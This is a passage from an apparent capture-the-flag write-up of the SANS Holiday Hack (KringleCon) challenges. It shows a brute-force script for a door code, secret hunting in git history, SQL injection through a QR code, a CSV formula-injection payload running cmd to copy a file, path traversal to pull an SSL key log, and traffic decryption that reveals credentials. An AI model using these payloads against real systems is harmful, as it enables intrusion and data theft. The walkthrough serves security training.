0000100020003001100120013002100220023003100320033010102010301110 1120113012101220123013101320133020203021102120213022102220223023 1023202330303110312031303210322032303310332033311112111311221123 1132113312121312221223123212331313221323133213332222322332323333
We then simply try the possibilities, and quickly find our answer:
Figure 19: de Bruijn sequences on the Door Lock
Brute Force
By using the Developer Tools
Network
tab, we can see what's going on behind the scenes as we try a few codes in our browser:Figure 20: Door Lock HTTP GET requests
Chrome's Developer Tools have a handy feature of copying the request as a curl command. After we press square, circle, triangle, square, our network request looks something like the following in curl:
curl 'https://doorpasscode.kringlecastle.com/checkpass.php?i=1201&resourceId=92b948c2-882e-4dca-b5bc-8a15badd13e5' \ -H 'Pragma: no-cache' \ -H 'Accept-Encoding: gzip, deflate, br' \ -H 'Accept-Language: en-US,en;q=0.9' \ -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36' \ -H 'Accept: */*' \ -H 'Referer: https://doorpasscode.kringlecastle.com/?challenge=doorpasscode&id=92b948c2-882e-4dca-b5bc-8a15badd13e5' \ -H 'Connection: keep-alive' \ -H 'Cache-Control: no-cache' \ --compressed
This command outputs:
{"success":false,"message":"Incorrect guess."}
.We see that the first line includes the URL, and most of the other lines are headers that Chrome was setting.
To figure out the right code, we can just replace the
i
parameter in the URL, and loop over all \(4^4 = 256\) options. There's no real benefit to calculating and using a de Bruijn sequence here, as each command will send a complete 4-character combination.#!/usr/bin/env python3 # Brute force the door code. Finds the solution in 25 tries. import requests import itertools # The values sent to the server for each symbol symbols = {0: '<TRIANGLE>', 1: '<SQUARE>', 2: '<CIRCLE>', 3: '<STAR>'} search_space = itertools.product(list(symbols), repeat=4) for i in search_space: result = requests.get('https://doorpasscode.kringlecastle.com/checkpass.php?i=%i%i%i%i&resourceId=undefined' % i) if "true" in result.text: print("Code is ", end='') for symbol in i: print(symbols[symbol], end='') print(" (%i%i%i%i)" % i) exit(1)
After a few seconds, we get our solution:
Code is <TRIANGLE><SQUARE><CIRCLE><TRIANGLE> (0120)
Interestingly and somewhat expected, the straight brute force code worked on the 25th try, which was slower than de Bruijn solution.
\(\triangle \square \bigcirc \triangle \)
Data Repo Analysis
Goal
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
Background
- Terminal Challenge
For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.
- Badge Hint
We visit Wunorse, who tells us:
Brian Hostetler is giving a great Trufflehog talk upstairs.
Solution
When we pull up the Git repository, we find a project called
"santas_castle_automation." Our first hurdle is retrieving the
encrypted ZIP file. The GitLab site has a "Find File" button on
the right side of the page. Searching for zip
yields:
Figure 21: zip paths in santas_castle_automation GitLab
ventilation_diagram.zip
catches our attention, so we download
that from the website. Is this the encrypted ZIP file which we
seek? Trying to open it prompts us for a password, so it seems
likely that we've found it. Viewing the history and the commit
where this file was added also reveals the following comment:
Figure 22: Shinny's comment on ventilation_diagram.zip
As we skim over the README that's displayed as we scroll down, we see the following message from Shinny:
We all get what we git, then we git what we've got.
When we're full of old pulls, then we're holding a lot.
Do you wonder what happens to things that we thought,
Were too private then trampled with things that were not?
I assume that our secrets are gone from the cloud.
They still sit here in local reposit'ries' shroud,
But I heard that old Redberry was rather wowed,
When she found out her keys were exposed - wasn't proud.
So when I found that I had thown creds with a push,
Pretty sure I did stomp them with clean files - smoosh!
If you find an old password 'neath folder or bush,
Would you kindly play nice and say nothing - just shush?"
This, combined with the hint, strongly suggest that there are some secrets hidden in this repository. We've never tried Trufflehog before. Following along in Brian's video, we can try the command from the Trufflehog's README.
$ pip install truffleHog Collecting truffleHog Downloading https://files.pythonhosted.org/packages/6a/30/efbdeb399c543b052c31c05fa7dab78cd6d02d26934c087b83adb1b83c93/truffleHog-2.0.98-py2.py3-none-any.whl Requirement already satisfied: GitPython==2.1.1 in /usr/local/lib/python2.7/site-packages (from truffleHog) (2.1.1) Requirement already satisfied: truffleHogRegexes==0.0.7 in /usr/local/lib/python2.7/site-packages (from truffleHog) (0.0.7) Requirement already satisfied: gitdb2>=2.0.0 in /usr/local/lib/python2.7/site-packages (from GitPython==2.1.1->truffleHog) (2.0.5) Requirement already satisfied: smmap2>=2.0.0 in /usr/local/lib/python2.7/site-packages (from gitdb2>=2.0.0->GitPython==2.1.1->truffleHog) (2.0.5) Installing collected packages: truffleHog Successfully installed truffleHog-2.0.98 $ truffleHog --regex --entropy=False https://git.kringlecastle.com/Upatree/santas_castle_automation.git ~~~~~~~~~~~~~~~~~~~~~ Reason: RSA private key Date: 2018-12-11 02:29:03 Hash: 6e754d3b0746a8e980512d010fc253cbb7c23f52 Filepath: schematics/files/dot/ssh/key.rsa Branch: origin/master Commit: cleaning files -----BEGIN RSA PRIVATE KEY----- ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~ Reason: RSA private key Date: 2018-12-11 01:25:21 Hash: c376f995b44caf502992ddb617a34e7d38d7bbc1 Filepath: schematics/files/dot/ssh/key.rsa Branch: origin/master Commit: support files for Santa's drone functions -----BEGIN RSA PRIVATE KEY----- ~~~~~~~~~~~~~~~~~~~~~
Interesting… some private SSH keys. The top commit catches our eye, as the message is "cleaning files." Could this be what Shinny was talking about, when he said "So when I found that I had thown creds with a push, Pretty sure I did stomp them with clean files - smoosh!?"
No passwords, though. The video continues to mention the second command from the README, so let's try that. The README states that the first command we ran cuts down on the noise, but as we haven't found the password yet, we'll expand the search:
$ truffleHog https://git.kringlecastle.com/Upatree/santas_castle_automation.git ... Reason: High Entropy Date: 2018-12-11 01:16:57 Hash: 0dfdc124b43a4e7e1233599c429c0328ec8b01ef Filepath: schematics/for_elf_eyes_only.md Branch: origin/master Commit: important update @@ -1,15 +0,0 @@ -Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, -Albaster discovered and published a vulnerability with our password length at the last Hacker Conference. - -Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing - he caught it before those dastardly villians did! - - -Hopefully this is the last time we have to change our password again until next Christmas. - - - - -Password = 'Yippee-ki-yay' - - -Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3' - ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~ Reason: High Entropy Date: 2018-12-11 01:14:41 Hash: c61af60810e77c8b91c8d29c1303da4bfefde66b Filepath: sysctl/metadata.json Branch: origin/master Commit: Santa's Castle ICS ...
This finds a lot of hits, but the second from the last commit catches our eye. The filepath is schematics/for_elf_eyes_only.md
, and there's a line:
Password = 'Yippee-ki-yay'
Trying to open the ZIP file again, we enter that password and discover maps of the ventilation system!
Yippee-ki-yay
AD Privilege Discovery
Goal
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws.
Background
Solution
To start, we download and run the VM.
On the social medias, we read reports of people having issue opening this VM. Some people suggested changing the architecture to 64-bit, or using VMware instead.
When the VM launches, we're in a Slingshot Linux instance. We notice a shortcut to Bloodhound on the desktop:
Figure 23: VM Launch Screen
When we launch Bloodhound, we open up a dataset for
AD.KRINGLECASTLE.COM
. Because Bloodhound is already installed,
and the data is pre-imported for us, we can skip ahead in the
video that Holly linked us to (around the 4:27 mark). We learn
that the quickest way to get started is to explore the Queries
tab. Our task is to find a path from a Kerberoastable user to the Domain Admins group. As we scroll down the Pre-Built Analytics Queries list, we see that there's a query for almost exactly that:
Figure 24: Shortest Paths to Domain Admins from Kerberoastable Users
We see a few options, and a few paths. Our objective tells us one further thing: "Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws."
As we explore Bloodhound's interface, we find an Edge Filter option, and we can disable "CanRDP."
Figure 25: Edge Filtering in Bloodhound
This provides us with the following graph:
Figure 26: Bloodhound Result
It looks like our answer is Leanne Dubej's user:
LDUBEJ00320@AD.KRINGLECASTLE.COM
But what does this graph mean?
- Leanne (LDUBEJ00320) is a member of the IT_00332 Active Directory group.
- That group has Administrator privileges on the COMP00185 system.
- Jena (JETAK00084) has an active session on the COMP00185 system.
- Jena is a Domain Administrator.
Administrators have unfettered access to a system. One of their superpowers is to be able to steal access tokens from other users on that system, and impersonate them. Because Jena has an active session on a system that Leanne is an admin on, Leanne could steal Jena's token, and use it to perform actions as a domain admin.
The other remaining question is what exactly is meant by a "Kerberoastable" user? Kerberoast is "a series of tools for attacking MS Kerberos implementations." If an account has a Service Principal Name (SPN) associated with it, it's vulnerable to offline cracking attacks. Kerberoastable users are simply users that have SPNs associated with their accounts. In our case, Leanne has an SPN, and if we use Kerberoast to access her account, Bloodhound has found a path for us to elevate all the way to Domain Admin.
Badge Manipulation
Goal
Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?
Background
- Terminal Challenge
For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.
- Elf Chat
After we identify the targeted account in the Yule Log Analysis terminal, Pepper points us to the following resources:
All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted areas.
Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.
I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying "User Not Found".
I researched a SQL database error from scanning a QR code with special characters in it and found it may contain an injection vulnerability.
I was going to try some variations I found on OWASP but decided to stop so I don't tick-off Alabaster.
- Badge Hint
Pepper links us to: Creating QR barcodes and SQL Injection
Solution
Clicking on the Scan-O-Matic brings up the following interface:
Figure 27: Scan-O-Matic in action
As we interact with the scanner, we see there are two things we can do: scan our fingerprint, or plug in a USB 3.0 drive. Scanning our fingerprint processes the still from the video camera, while the USB drive brings up a file selection window for a file upload.
The objective also gave us a sample employee badge:
Figure 28: If found, please return to Alabaster
First thing we try is uploading the badge via the file upload functionality. No dice:
Figure 29: Error 1: PNG files only
That's fine. We can do some file conversion, either by "Save
As…" or from the command line: convert alabaster_badge.jpg
alabaster_badge.png
. Now we're uploading the right format:
Figure 30: Error 2: Authorized User Account Has Been Disabled!
Perhaps Alabaster's access was revoked when he reported his badge as stolen. These elves are really on top of security…
Pepper's hints are pointing us towards SQL injection via the QR code, so let's start by taking a closer look at the QR code on Alabaster's badge. The Creating QR barcodes website she provided also has a scan function (as do many cellphone camera apps). We ended up using a different site, as we can just link to Alabaster's badge URL, and we don't have to use our webcam. The results are fairly cryptic, but they do seem to be plain text:
Decode Succeeded Raw text oRfjg5uGHmbduj2m Raw bytes 41 06 f5 26 66 a6 73 57 54 74 86 d6 26 47 56 a3 26 d0 ec Barcode format QR_CODE Parsed Result Type TEXT Parsed Result oRfjg5uGHmbduj2m
As we turn our attention to the OWASP link she mentioned, we see this interesting looking snippet:
Figure 31: Auth Bypass
We can use the Creating QR barcodes website to create a new QR
code, with the snippet provided or 1-- -' or 1 or '1"or 1 or"
,
and then save it (making sure to save it as a PNG). Now we can
upload our new code to the Scan-O-Matic:
Figure 32: Error 2a: Authorized User Account Has Been Disabled!
Same error. But, this wasn't a total failure. We've confirmed that
we can send arbitrary text as a QR code. Let's take a step back,
and simplify our injection attempt. The OWASP webpage has several
good examples, but let's just send the simplest case: '
.
Figure 33: Error 3: Exception at line 96
EXCEPTION AT (LINE 96 "user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"): (1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' LIMIT 1' at line 1")"
The error is hard to read as it scrolls across, but we can use the
Network
Developer Tools tab to view the whole thing. Still, it's
hard to parse, so we'll take a closer look. It's an error from the
MariaDB (née MySQL) database server. We also see a code snippet from Scan-O-Matic:
query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"
From this, we can figure out the database query was something like:
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '$QR_UID' LIMIT 1
The QR code seems to supply the uid
parameter (this is the only
variable on that line; everything else is hard-coded). When we
submitted a uid
of just a single-quote, the SQL database server
complained of a syntax error. Let's play around with this a little
bit, to better understand what's going on. A good tool for this is
sqltest.net. From the query, we know that we're searching the
employees
table. The query is requesting the fields
first_name
, last_name
, enabled
be returned, and it's
filtering on the fields authorized
and uid
. So we can mock up
a simple example (in fact the example when we load sqltest.net
already is pretty close, as it has id
, first_name
, and
last_name
).
CREATE TABLE employees ( uid VARCHAR(30), first_name VARCHAR(30), last_name VARCHAR(30), authorized INT, enabled INT ); -- We have the UID from Alabaster's badge, and we know he's been disabled INSERT INTO `employees` (`uid`, `first_name`, `last_name`, `authorized`, `enabled`) VALUES ('oRfjg5uGHmbduj2m', 'Alabaster', 'Snowball', 1, 0); -- We create an employee who is authorized and enabled INSERT INTO `employees` (`uid`, `first_name`, `last_name`, `authorized`, `enabled`) VALUES ('good_uid', 'Pepper', 'Minstix', 1, 1);
We decided to make the authorized
and enabled
fields integers
because the query has authorized = 1
. The lack of quotes tells
us it's not a string.
We'll start by trying our query with the UID from Alabaster's badge: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'oRfjg5uGHmbduj2m' LIMIT 1;
:
Figure 34: Sending Alabaster's badge to sqltest.net
We got our expected result, but Alabaster's not enabled. Now let's try sending a single quote, and see if we can duplicate the error message:
Figure 35: Sending a single quote to sqltest.net
We get the following error message, which matches almost exactly the error message we got from Scan-O-Matic: =You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 1' at line 2=. The cause of the error is that we've created a query with a string that doesn't close (there's no closing single-quote).
We've discovered a SQL injection! Now we need to exploit it to gain access to the door. We start by trying the following query:
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR uid != '' LIMIT 1;
We're looking for an authorized user, whose uid is either empty or not empty. In other words, this should match everyone.
Figure 36: Matching anyone on sqltest.net
Well, no more error, but we still only get Alabaster's user. Even
though our search should match everyone, the LIMIT 1
clause will
only return one result, and just our luck, that one result is not
enabled. No problem – we can just also require that the user be enabled:
SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 OR uid = '' LIMIT 1;
This query seems a bit repetitive, and it is, because we're
limited in what queries we can build. What we're searching on is
that a user must have an empty uid
OR be enabled OR have an
empty uid
. We're not sure if anyone has an empty uid
, but the
user that's returned matches the other criteria: their account is enabled.
Figure 37: Requiring an enabled user on sqltest.net
We found a query which works in our little sandbox, but how do we make it work on Scan-O-Matic? We start by comparing the queries:
-- Scan-O-Matic: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '$QR_UID' LIMIT 1; -- Our query: SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 OR uid = '' LIMIT 1;
The UID from the QR code gets put in between single quotes, which is why our query was rather odd. We needed to construct it in such a way so that it would both start and end with a string.
So, if we just set the uid
parameter to ' OR enabled = 1 OR uid
='
, we should be able to run this query on Scan-O-Matic:
Figure 38: Access Granted!
User Access Granted - Control number 19880715
Careers
Goal
Santa uses an Elf Resources website to look for talented information
security professionals. Gain access to the website and fetch the
document C:\candidate_evaluation.docx
. Which terrorist
organization is secretly supported by the job applicant whose name
begins with "K."
Background
- Terminal Challenge
For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.
- Elf Chat
Sparkle helpfully points out that her OpSec isn't as bad as Tangle's, by saying:
I wonder if Tangle Coalbox has taken a good look at his own employee import system.
It takes CSV files as imports. That certainly can expedite a process, but there's danger to be had.
I'll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.
I'm sure the danger can be mitigated. OWASP has guidance on what not to allow with such uploads.
- Badge Hint
Sparkle also points us to the OWASP CSV Injection Page, and tells us:
Somehow Brian Hostetler is giving a talk on CSV injection WHILE he's giving a talk on Trufflehog. Whatta' guy!
- Relevant KringleCon Videos
Solution
Bringing up the webpage, we're presented with a simple form:
Figure 39: Elf Resources website home
Filling in the form, the page forces us to attach a file before submitting. If we do that, we receive the following message:
Figure 40: Elf Resources submission message
Both the objective and the submission message told us the file we
need to retrieve, C:\candidate_evaluation.docx
. We next simply
tried https://careers.kringlecastle.com/candidate_evaluation.docx,
and got the following:
Figure 41: Elf Resources 404
What a helpful error message! Unfortunately, trying https://careers.kringlecastle.com/public/candidate_evaluation.docx similarly doesn't work. But now, we know two critical pieces of information:
- We're trying to access
C:\candidate_evaluation.docx
- Files in
C:\careerportal\resources\public\
are publicly accessible via the web server.
Time to turn our attention to the hints, and see how we can get our target file into the public directory. Brian's talk gives some guidance on how to build a CSV to execute an arbitrary command. We choose a name designed to not conflict with other KringleCon attendees.
=cmd|'/C copy C:\\candidate_evaluation.docx C:\\careerportal\\resources\\public\\ZXNuZXRfc2VjdXJpdHkK.docx'!A0
Uploading this file, we then try to access https://careers.kringlecastle.com/public/ZXNuZXRfc2VjdXJpdHkK.docx. After ~10-15 seconds, we download a Word Doc. The download evaluates 4 elves, including Krampus:
Figure 42: Krampus Evaluation
The document reveals that Krampus is connected to cyber terrorist organization Fancy Beaver (a play on the Fancy Bear APT group).
Answer:
Fancy Beaver
PCAPalyzer
Goal
Santa has introduced a web-based packet capture and analysis tool at https://packalyzer.kringlecastle.com to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
Background
- Terminal Challenge
For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.
- Elf Chat
After we help SugarPlum escape, she tells us:
Yay, you did it! You escaped from the Python!
As a token of my gratitude, I would like to share a rumor I had heard about Santa's new web-based packet analyzer - Packalyzer.
Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.
Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.
There was suspicious-looking development code using environment variables to store SSL keys and open up directories.
This elf then told me that manipulating values in the URL gave back weird and descriptive errors.
I'm hoping these errors can't be used to compromise SSL on the website and steal logins.
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!
- Relevant KringleCon Videos
Solution Part 1: Downloading the SSL Key Logfile
A lot of hints on this one. We start by loading up Packalyzer, and trying to find the HTML comments. We have access to two pages initially, the home page, and the new user registration page. We can't find any hidden comments in either one, so we go ahead and register a new user, and then sign in with our new account.
At this point, the Packalyzer allows us to sniff 20 seconds of traffic, and then download the PCAP.
Once we're authenticated, we can find the following comment in the page source:
//File upload Function. All extensions and sizes are validated server-side in app.js $(function () { 'use strict'; $('#fileupload').fileupload({
https://packalyzer.kringlecastle.com/app.js doesn't work, but we
also noticed some resources being loaded from
https://packalyzer.kringlecastle.com/pub/, and we can recover
the server-side source code of app.js
from
https://packalyzer.kringlecastle.com/pub/app.js
Folllowing SugarPlum's hints, we found the comment, and grabbed the server-side source code sitting in the web root. Now we need to identify the environment variables used to store SSL keys:
const dev_mode = true; const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE ) const options = { key: fs.readFileSync(__dirname + '/keys/server.key'), cert: fs.readFileSync(__dirname + '/keys/server.crt'), http2: { protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1 protocols: [ 'h2' ], }, keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time };
Let's take this line by line. In the development copy we have,
dev_mode
is set to true. key_log_path
uses some short-hand
syntax, which could also be written as:
if ( dev_mode ) const key_log_path = __dirname + process.env.DEV + process.env.SSLKEYLOGFILE;
Finally, once key_log_path
is set, the comment tells us that
it's used to view traffic. Our hints seem to point us to
recovering this file, and then using it to decrypt the
traffic. Perhaps the file was left over from development. We need
to figure out what the environment variables DEV
and
SSLKEYLOGFILE
were set to.
The main logic of the file is the router.get
function. An annotated version is:
//Route for anything in the public folder except index, home and register router.get(env_dirs, async (ctx, next) => { try { var Session = await sessionizer(ctx); // Splits the web path into an array delimited by / // e.g. /pub/dir/../file -> ["pub", "dir", "..", "file"] let split_path = ctx.path.split('/').clean(""); //Grabs directory which should be first element in array // e.g. ["pub", "dir", "..", "file"] -> "PUB" let dir = split_path[0].toUpperCase(); // Removes the first element of the array // e.g. ["pub", "dir", "..", "file"] -> ["dir", "..", "file"] split_path.shift(); // e.g. ["dir", "..", "file"] -> "/dir/../file" let filename = "/" + split_path.join('/'); // This removes any instances of ".." to prevent path traversal attacks // e.g. "/dir/../file" -> "/dir//file" while (filename.indexOf('..') > -1) { filename = filename.replace(/\.\./g,''); } // Only execute if the filename is not 'index.html', 'home.html', or 'register.html' if (!['index.html', 'home.html', 'register.html'].includes(filename)) { // Build the filename, and set the content type header accordingly ctx.set('Content-Type', mime.lookup(__dirname + (process.env[dir] || '/pub/') + filename)) // Read the file, and send it as the body ctx.body = fs.readFileSync(__dirname + (process.env[dir] || '/pub/') + filename) } // For 'index.html', 'home.html', or 'register.html', return a 404 instead. else { ctx.status = 404; ctx.body = 'Not Found'; } // If anything we've tried so far generated an error, return that error as the body } catch (e) { ctx.body = e.toString(); } });
Going through this, especially with an example, we can understand the logic. Sometimes it's useful to try running a command, and seeing what the output is. In cases like this, we pull up the Javascript console of our browser's developer tools again:
Figure 43: Testing JS code in our console
Our attention is drawn to how the code builds the filename:
ctx.body = fs.readFileSync(__dirname + (process.env[dir] || '/pub/') + filename)
Again, we'll expand this logic out a bit:
// e.g. ["pub", "dir", "..", "file"] -> "PUB" let dir = split_path[0].toUpperCase(); if ( process.env[dir] ) var dir = process.env[dir]; else var dir = '/pub/'; ctx.body = fs.readFileSync(__dirname + dir + filename)
So, the first part of our path is upper-cased, and if an
environment variable exists with that name, it attempts to use
that as part of the path to our file. Let's try it. Searching for process.env
pulls up some Node.js documentation:
Figure 44: process.env documentation
Let's try accessing the PATH
environment variable:
$ curl -s 'https://packalyzer.kringlecastle.com/path/file' Error: ENOENT: no such file or directory, open '/opt/http2/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/file'
We received an error message, but one which discloses some
information. Let's try to unpack this, given that we have the
source for how the filename was built. First, let's identify exactly which part is our PATH
. We can check this on a Cranberry Pi terminal, as a point of comparison:
elf@cranpi:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Reading our error message carefully, we can identify all three variables that combined to form the filename:
Value | Variable |
---|---|
/opt/http2 |
__dirname |
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
process.env[dir] (PATH) |
/file |
filename |
At this point, we need to recover the environment variables DEV
and SSLKEYLOGFILE
, which are referenced in key_log_path =
__dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
:
$ curl -s 'https://packalyzer.kringlecastle.com/dev/file' Error: ENOENT: no such file or directory, open '/opt/http2/dev//file' $ curl -s 'https://packalyzer.kringlecastle.com/sslkeylogfile/file' Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/file'
From this, we can deduce that DEV
is /dev/
and SSLKEYLOGFILE
is packalyzer_clientrandom_ssl.log
. We've already figured out
__dirname
, so our key_log_path
would've been
/opt/http2/dev/packalyzer_clientrandom_ssl.log
. We just need to
figure out how to access that via the webserver. We've already
noted that we can access files from
https://packalyzer.kringlecastle.com/pub/, so let's get the full
path of that by generating an error message for a non-existant
file:
curl -s 'https://packalyzer.kringlecastle.com/pub/passwords' Error: ENOENT: no such file or directory, open '/opt/http2/pub//passwords'
Great! The files we're accessing are from /opt/http2/pub
, so /opt/http2/dev
should be just as easy to access:
$ curl -sv -o packalyzer_clientrandom_ssl.log 'https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log' ... < HTTP/2 200 < set-cookie: PASESSION=6184281170062926003382193748323381 < content-type: text/plain < content-length: 38896 < date: Sun, 13 Jan 2019 17:32:29 GMT < { [16384 bytes data]
Great! We've successfully downloaded the file.
Solution Part 2: Decrypting the Traffic
We've run through most of SugarPlum's hints in order to recover the SSL Key Logfile. As a reminder, she also told us:
I'm hoping these errors can't be used to compromise SSL on the website and steal logins.
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!
We already used Chris Elgee's video for the CURLing Master terminal, and it made no mention of using HTTP2 to compromise SSL. The other video is Chris Davis, HTTP/2: Decryption and Analysis in Wireshark, which sounds perfect.
The first part of the talk discusses how to create the SSL Key Logfile using curl and Chrome. This seems like what we just recovered from the system, only that it was generated server-side instead of client-side. The talk also mentions how we can use this file to decrypt the SSL traffic in Wireshark. In order to do that, we need a PCAP, though. Perhaps a new PCAP from the Packalyzer web interface?
The comment in the server-side source code warned us that the key log only stores a few minutes worth at a time. The server can't log keys ahead of time, so our workflow should be:
- Sniff traffic on Packalyzer, to generate a new PCAP.
- Download the SSL key logfile
- Download the capture
- Attempt to decrypt the SSL traffic in the capture with the key logfile.
For step 4, we just continue following along with Chris's video. First, we configure the Wireshark SSL protocol analyzer to use our freshly downloaded key logfile:
Figure 45: Configuring Wireshark SSL protocol analyzer
It worked! We can now see some HTTP2 traffic:
Figure 46: Wireshark HTTP2 overview
As a reminder, our goal is to steal logins, and ultimately access
a document sent from Holly to Alabaster. To start, we'll filter
out just HTTP2 traffic, using the http2
display filter:
Figure 47: Wireshark with http2 filter
We immediately see a HTTP POST
request to /api/login
, which
seems promising. Chris's video has a very similar request, and he
points out that to get the actual username and password, we need
to look at a different frame in the packet capture. We'll combine
two of Chris's example filters into http2.header.value == "POST" or http2.data.data
, and then we can find some credentials:
Figure 48: Wireshark with http2 POST filter
We've found Pepper's credentials. Can we find anyone else's? To
speed up this analysis a bit, we're going to add some custom
fields to the Wireshark display. Either by right-clicking on the column headers and going to Column Preferences...
or by going to Preferences
→ Appearance
→ Columns
. We'll add two custom columns for JSON keys and values:
Figure 49: Wireshark custom columns
Finally, we'll filter our PCAP to display frames which have a JSON key of "password":
Figure 50: Wireshark with json filter
Bingo!
Username | Password |
---|---|
pepper | Shiz-Bamer_wabl182 |
alabaster | Packer-p@re-turntable192 |
We've followed all the hints, but ultimately, we're looking for a document. The HTTP2 traffic we're seeing in this PCAP looks like the Packalyzer website itself, so we're presuming the credentials are for that. Since we know the document was sent to Alabaster, let's start with his credentials, and try logging into Packalyzer:
Figure 51: Successful login as Alabaster
Opening up the captures associated with Alabaster's account, we
find the tantalizingly named super_secret_packet_capture.pcap
. We'll grab it and open it up in Wireshark again. A good way to get a quick overview of a PCAP in Wireshark is to use Statistics
→ Protocol Hierarchy
:
Figure 52: Super secret protocol hierarchy
It looks like the only thing Wireshark found in this
PCAP is SMTP (e-mail) traffic. Note that it's not
listed as 100%, since some packets are simply TCP control packets. We'll filter on smtp
:
Figure 53: Super secret SMTP
We immediately see an e-mail from Holly to Alabaster. Looks like
we're on the right track… Now we just need to find and extract
the document. To get a better look at the data, we can right click
on one of the frames, and select Follow
→ TCP Stream
. A
new window pops up:
Figure 54: Super secret e-mail
Holly says:
Hey alabaster,
Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.
What follows is the attachment:
------=_MIME_BOUNDARY_000_11181 Content-Type: application/octet-stream Content-Transfer-Encoding: BASE64 Content-Disposition: attachment JVBERi0xLjUKJb/3ov4KOCAwIG9iago8PCAvTGluZWFyaXplZCAxIC9MIDk3ODMxIC9IIFsgNzM4 IDE0MCBdIC9PIDEyIC9FIDc3MzQ0IC9OIDIgL1QgOTc1MTcgPj4KZW5kb2JqCiAgICAgICAgICAg
We can see that the attachment is encoded as base64, so we can copy and paste the data, and then decode it with:
$ cat obj8_attachment.b64 | base64 --decode > obj8_attachment $ file obj8_attachment obj8_attachment: PDF document, version 1.5 $ mv obj8_attachment obj8_attachment.pdf
The attachment is a PDF, so we'll rename it accordingly. Opening the document gives us our answer:
Figure 55: Super secret song
Answer:
Mary Had a Little Lamb
We also note that this document walks us through how to transcribe a song from one key to another.
Ransomware Recovery
Goal
Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks.
Background
- Location
To access these challenges, you need to have gotten access to Santa's Secret Room, either by bypassing the QR code Scan-O-Matic, or by crawling through the vents.
- Terminal Challenge
For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.
- Badge Hint
Once we help Shinny win the Sleigh Bell Lottery, he gives us several hints. As this grand challenge is really a multi-part exercise, we'll break it down by question.
Phase 1: Catch the Malware
- Goal
Assist Alabaster by building a Snort filter to identify the malware plaguing Santa's Castle.
- Background
In Santa's secret room, we find a few terminals and Alabaster Snowball. Alabaster asks us for help:
Help, all of our computers have been encrypted by ransomware!
I came here to help but got locked in 'cause I dropped my "Alabaster Snowball" badge in a rush.
I started analyzing the ransomware on my host operating system, ran it by accident, and now my files are encrypted!
Unfortunately, the password database I keep on my computer was encrypted, so now I don't have access to any of our systems.
If only there were some way I could create some kind of traffic filter that could alert anytime ransomware was found!
We launch the Snort Challenge terminal. Opening it up, we see the following message:
INTRO: Kringle Castle is currently under attacked by new piece of ransomware that is encrypting all the elves files. Your job is to configure snort to alert on ONLY the bad ransomware traffic. GOAL: Create a snort rule that will alert ONLY on bad ransomware traffic by adding it to snorts /etc/snort/rules/local.rules file. DNS traffic is constantly updated to snort.log.pcap COMPLETION: Successfully create a snort rule that matches ONLY bad DNS traffic and NOT legitimate user traffic and the system will notify you of your success. Check out ~/more_info.txt for additional information.
Looking at
more_info.txt
